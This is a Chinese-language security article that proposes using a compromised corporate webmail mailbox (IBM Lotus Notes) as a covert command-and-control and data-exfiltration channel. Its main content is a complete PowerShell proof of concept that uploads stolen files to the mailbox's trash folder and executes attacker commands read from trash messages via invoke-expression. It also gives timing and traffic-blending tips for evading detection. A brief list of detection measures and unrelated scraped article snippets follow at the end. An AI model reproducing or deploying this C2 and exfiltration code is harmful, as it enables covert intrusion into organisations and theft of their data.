利用企业邮件系统构造命令控制(C&C)和数据窃取(Exfiltration)通道的思路探讨

假设场景

我们假设目标企业组织内设置了这样一种安全措施:

01:内部用户工作站电脑不能直接连接互联网,只能通过其中架设的代理服务器执行外部Web请求和DNS查询,而且代理服务器又设置了流量监控功能,由其产生的HTTP和DNS请求流量都能被监测发现。

02:由于从某种程度上来说,代理服务器“打破”了内部用户机与外部服务器之间点对点连接模式,包括HTTPS方式,所以像Domain fronting这种隐蔽攻击方式一样可以被监测到,所以只有一些白名单网站可以被放行通过。

03:这种环境下,企业的大部分内部服务器都被设置了联网限制,当然也就不存在服务暴露情况,因为所有企业相关网站或博客等服务可能都被部署在谷歌云存储平台,只有网站管理员以相应的企业社交网络账号从其它隔离的工作站电脑上登录进入管理面板,才能进行内容更新修改操作。

在这种场景下,传统的通过Web或DNS方式进行的C&C(命令控制)和数据窃取操作貌似不可行,此时,我们可以尝试使用另外一种奇技淫巧:利用企业网页邮件系统。

利用思路

如今,灵活便捷的企业邮箱登录是办公手段的必需,如果不考虑所有安全措施,抽象意义上来说,邮箱系统是所有内网环境(如员工电脑)和各式外网终端,如公司配发的具有邮箱登录入口APP的智能手机和平板、通过浏览器方式以IBM
iNotes或Microsoft
OWA访问登录的电脑等。很多情况下,这种联网的企业网页邮件系统大多都不具备双因素认证(2FA)和VPN集中器等安全机制。而且,很多移动端APP都缺乏OAuth或“应用密码”等授权认证机制,只需用户名密码就可对接入系统进行直接登录配置。

因此,如果我们通过网络攻击方式或从一些泄露数据库中,获取到目标机构运行于互联网上的有效企业邮箱系统用户登录凭据(用户名/密码)后,可以藉此为突破口控制利用该企业用户电子邮箱,感染内网用户主机,渗透进入企业内网。之后,针对我们植入的恶意软件,可以构造这样一种C&C通道:在该企业用户电子邮箱的垃圾箱文件夹内设置特殊格式消息文件,恶意软件通过读取这种消息文件信息,执行我们的控制命令;当然,也可以构造一种类似的数据窃取(exfiltration)通道:植入的恶意软件把从企业机构内部窃取的文档数据,上传存储到该企业用户电子邮箱的垃圾箱文件夹内(这些文档数据可以是加密或其它方式的存在),之后,我们可以远程登录进入网页邮件系回收这些文档数据,并且可以不留痕迹地删除这些存储数据。

尽管技术上看似简单,但很难从所有合法网络流量中识别出C&C和Exfiltration方式流量。例如,企业用户在19:00下班,我们可以在已经渗透控制的目标企业用户主机上,在18:30时刻(下班前繁忙的网络流量中很难被发觉是有规律的访问行为),通过植入木马把窃取文档数据上传至被控制电子邮箱的垃圾文件夹内,之后,在20:30时刻,通过Webmail或移动终端API回收窃取数据,因为该时段很难区分出到底是在员工家中还是企业手机端的访问行为。

由于我们不是把消息或数据发送到外部地址,而是通过邮箱自动发送或向特定文件夹内上传消息文件,所以,这种操作行为,在所有进出的SMTP流量中也很难被发现。另外,还可以通过其它手段来增加检测发现难度:当被渗透控制的企业用户主机启动邮箱客户端程序时,运行植入的恶意程序,通过企业内网非黑名单IP接入Webmail端,使用与目标企业机构相同的移动运营商、程序终端、操作系统或浏览器等。

概念性验证攻击展示(PoC)

我们以IBM Lotus Notes邮件系统为例,作一个概念性验证展示。企业如果架设了IBM Lotus Notes邮件系统,则对企业内网用户来说,可以使用Notes的邮件客户端,而外网用户则可以通过Webmail方式或该邮件系统的IBM Verse移动APP终端进行访问。

另外,有意思的是,Lotus Notes还提供了对邮件客户端的邮件定制开发API,其中具有一个COM组件方法Notes.NotesSession,我们可以利用它来进行方法调用和定制语言选择。在这里,我们使用PowerShell脚本作为PoC验证。

在我们控制利用的企业用户电子邮箱中,包含可以定期执行我们控制命令的简单PowerShell脚本。我们向企业内网植入的恶意程序,将以预期任务、WMI或其它复杂技巧来请求这些脚本来实现命令控制。

在此,如果Notes邮件客户端正常运行的情况下,我们将只利用其COM组件方法来对邮件作一些定制调用,因为这样可以避免一些用户端的报警警告:


  1. $running = get-process nlnotes -erroraction silentlycontinue 
  2. if ($running -eq $null) { exit } 

如果Notes邮件客户端没有运行,我们可以初始化COM组件,并打开默认配置的数据库和服务器:


  1. $notes = New-Object -ComObject Notes.NotesSession 
  2.  
  3. $db = $notes.getdatabase("", "") 
  4.  
  5. if (!$db.isopen()) { 
  6.   $db.openmail() 

之后,我们可以定义数据窃取Exfiltrate()方法,来存储窃取文档并上传到被控制利用的企业用户电子邮箱垃圾文件夹内:


  1. function Exfiltrate($path) { 
  2.   $doc = $db.createdocument() 
  3.   $richText = $doc.createrichtextitem("Attachment") 
  4.   $richText.embedobject(1454, "", $path, "Attachment") 
  5.   $doc.save($true, $false, $true); 
  6.   $doc.remove($true) 

在以上代码中,可以看到,我们通过实例化方法$db.createdocument()创建了一个新文档,并把文档附加第一个参数中,以$doc.save()方法进行保存,之后调用$doc.remove()方法把文件删除到电子邮箱的垃圾文件夹内(PS:如果我们不调用remove()方法,则新建文档将会存储在一个未知文件夹内,不会出现在收件箱内,只能通过选择“所有附件”按钮才能看到,这也算是另外一种隐蔽消息的方法)。

最终,可以构造形如以下的C&C命令脚本,让植入的恶意程序进行读取执行:


  1. $trash = $db.getview("`$SoftDeletions") 
  2.  
  3. $doc = $trash.getfirstdocument() 
  4. while ($doc -ne $null) { 
  5.   $subj = $doc.getitemvalue("Subject") 
  6.   if ($subj -eq "powershell") { 
  7.     $code = $doc.getitemvalue("Body") 
  8.     invoke-expression $code[0] 
  9.     $doc.removepermanently($true) 
  10.     break 
  11.   } 
  12.  
  13.   $doc = $trash.getnextdocument($doc) 

首先,我们打开$SoftDeletions方法查看Notes邮箱数据库,并以此方式调用电子邮箱的垃圾文件夹,以$trash.getfirstdocument()方法查看所有垃圾文件夹内的文件,如果其涉及主题为“powershell”字符串,我们将进一步读取其邮件主体信息,一旦执行完内置该Powershell的Payload之后,将调用$doc.removepermanently()方法进行永久删除。

实际利用

我们如何来操作这段简单的PoC呢?前提是我们获得了能登录Webmail端的企业员工有效用户名密码,并向企业内网某主机植入了窃取数据的恶意程序。攻击者从互联网登录进入该企业员工被控制利用的Webmail端,并以Powershell方式向其邮箱内自动发送消息邮件的大致方式如下:

该消息邮件被删除之后,进入邮箱垃圾文件夹:

我们植入的恶意程序在内网主机运行之后,可以设置其检索该邮箱垃圾文件夹内的以上Powershell消息邮件,通过读取该邮件体中内置的内容执行命令。如以上邮件消息中设置把窃取文件存储到c:\windows\temp\ps.txt文件内,并通过邮件上传附件实现exfiltrate方法的文档外传窃取。

当然,如果攻击者通过互联网方式登录进入Webmail端后,将会在邮箱垃圾文件夹发现以下存储的窃取文件:

我们可以看到,邮箱垃圾文件夹的该消息邮件,没有任何主题(subject)和来源(from)信息,并具有一个名为ps.txt的附件:

最终,攻击者只需简单地下载该文件并删除垃圾文件夹内信息,就能以这种“暗度陈仓”的方式实现C&C命令控制和数据窃取(Exfiltration)。以下为该过程中利用的完整Powershell脚本:


  1. $running = get-process nlnotes -erroraction silentlycontinue 
  2. if ($running -eq $null) { exit } 
  3.  
  4. $notes = New-Object -ComObject Notes.NotesSession 
  5. $db = $notes.getdatabase("", "") 
  6. if (!$db.isopen()) { 
  7.   $db.openmail() 
  8.  
  9. function Exfiltrate($path) { 
  10.   $doc = $db.createdocument() 
  11.   $richText = $doc.createrichtextitem("Attachment") 
  12.   $richText.embedobject(1454, "", $path, "Attachment") 
  13.   $doc.save($true, $false, $true); 
  14.   $doc.remove($true) 
  15.  
  16. $trash = $db.getview("`$SoftDeletions") 
  17. $doc = $trash.getfirstdocument() 
  18. while ($doc -ne $null) { 
  19.   $subj = $doc.getitemvalue("Subject") 
  20.   if ($subj -eq "powershell") { 
  21.     $code = $doc.getitemvalue("Body") 
  22.     invoke-expression $code[0] 
  23.     $doc.removepermanently($true) 
  24.     break 
  25.   } 
  26.   $doc = $trash.getnextdocument($doc) 

如果目标企业机构使用的是其它架构邮箱系统,如Microsoft (Exchange/Outlook/OWA)等,这其中相关的消息、收件箱、文件夹和命令等属性操作可以直接应用到植入的恶意程序配置内。

如何检测此类可疑行为?

  • 对企业邮箱系统设置双因素认证机制;
  • 监测邮箱内奇怪的附件信息,如PowerShell脚本、加密数据、混淆数据,监测对邮箱的异常访问和操作行为;
  • 企业邮箱系统访问IP限制,如Tor、VPN、国家或黑名单等;
  • 限制与企业移动运营商不同的其它移动运营商APP会话访问;
  • 企业邮箱账户不常登录使用的浏览器识别;
  • 监测邮件自动消息发送行为;
  • 监测识别企业用户主机登录访问企业邮箱行为……

作者:clouds
来源:51CTO

时间: 2024-08-29 05:38:35

利用企业邮件系统构造命令控制(C&C)和数据窃取(Exfiltration)通道的思路探讨的相关文章

在PHP中利用XML技术构造远程服务(转)

xml|远程服务 在PHP中利用XML技术构造远程服务 未来的Web将是以服务为中心的Web,XML_RPC标准使得编写和应用服务变得非常简单.本文介绍XML_RPC标准及其PHP实现,并通过实例示范了如何在PHP中开发XML_RPC服务和客户程序. 一.服务式Web 从内容提供商所采用的简单方法到UDDI(Universal Description,Discovery and Integration)的未来构想,业界已经有大量关于"服务式Web"的说明和评论.就Web的初创阶段来说,

如何使用PowerShell实现命令控制以及安全检查绕过

Windows操作系统在全球市场上的占比是大家有目共睹的,而现代Windows平台都默认安装了PowerShell,而且系统管理员还可以毫无限制地访问和使用PowerShell终端.这一切的一切,使得目前很多的安全渗透工具都是采用PowerShell编写的.但我们也要注意,PowerShell的这些特性也使得它成为了网络犯罪分子非常喜爱的一种工具. BenTurner和Dave Hardy这两位安全研究人员开发出了一款基于PowerShell和C#的命令控制工具-PoshC2,这款工具不仅实现了

破解者利用微软Cortana语音助手控制家用电器

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 据国外媒体的报道,微软于上月发布了Windows Phone 8.1,其中最大的特色就是加入了Cortana语音助手,尽管相对于谷歌的Google Now和苹果的Siri来说,Cortana还略显稚嫩,但是在功能方面却有着自己的过人之处,比如Notebook功能可以通过跟踪来学习用户的习惯,进而为其提供针对性的服务.此外,微软也向第三方应用开

如何实现企业邮件系统?

问题描述 想做做个企业邮件系统,就是有类似的email:****@companyName.**?查了一下,租用服务器就赠送邮局空间,可是不知道怎么利用?微软发过类似的startkit吗?这样的系统一般植多少钱? 解决方案 解决方案二:大家帮帮忙啊

excel利用“宏”建立窗体命令按钮动画教程

<Excel2003入门动画教程57.利用"宏"建立窗体命令按钮>. 演示动画 操作步骤 通过运行"宏"对话框调用宏不太方便,通过快捷键调用宏,如果宏多了又记不住,那我们不如在Excel表格中添加一个按钮吧. 如果宏仅对当前工作簿文档有效,我建议大家在工作簿文档中添加一个"窗体"命令按钮,用来调用宏: 执行"视图工具栏窗体"命令,展开"窗体"工具栏. 点击工具栏上的"命令按钮"

aop-描述一下怎么利用spring AOP实现权限控制

问题描述 描述一下怎么利用spring AOP实现权限控制 只用描述就可以.不用代码,谢谢啦 解决方案 利用spring aop实现数据源的切换 解决方案二: 简单来说,就是你统一写好权限判断的代码,然后spring会自动在调用你的业务方法之前,执行这段代码,并且根据你的返回决定是否真的执行业务.这样你的权限代码只用在一个地方写一次就可以了. 解决方案三: 权限控制 有两种方式,第一种:自己写个拦截器实现权限控制:第二种使用spring AOP实现权限控制,这个最好采用自定义注解的方式实现,你自

C#中用代码控制命令来备份mysql的数据,可是备份不了,怎么回事??

问题描述 C#中用代码控制命令来备份mysql的数据,可是备份不了,怎么回事?? 方法1:Process.Start(""cmd.exe""/c mysqldump -hlocalhost -P3306 -uroot –p12111 samp_db1 > E:cs.sql"");方法2:ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = ""cmd.e

C#语言怎么利用文本框构造二叉树?二叉树的构造也是靠递归么?

问题描述 C#语言怎么利用文本框构造二叉树?二叉树的构造也是靠递归么? C#语言怎么利用文本框构造二叉树?二叉树的构造也是靠递归么? 解决方案 http://www.cnblogs.com/yjmyzz/archive/2010/12/01/1892403.html 解决方案二: 利用广义表非递归构造二叉树二叉树的构造构造二叉树

万维网之父:用户需警惕 企业和政府试图控制互联网

http://www.aliyun.com/zixun/aggregation/17197.html">北京时间6月24日上午消息,"万维网之父"蒂姆·伯纳斯-李(Tim Berners-Lee)接受媒体采访时表示,企业和政府试图控制互联网的行为有违互联网创立的初衷,公众应该对此提高警惕. 伯纳斯-李表示,互联网正面临着重大威胁,一些想要控制它的人正在通过<禁止网络盗版法案>等"令人担忧的法律",以及互联网巨头的行动来渗透整个互联网. &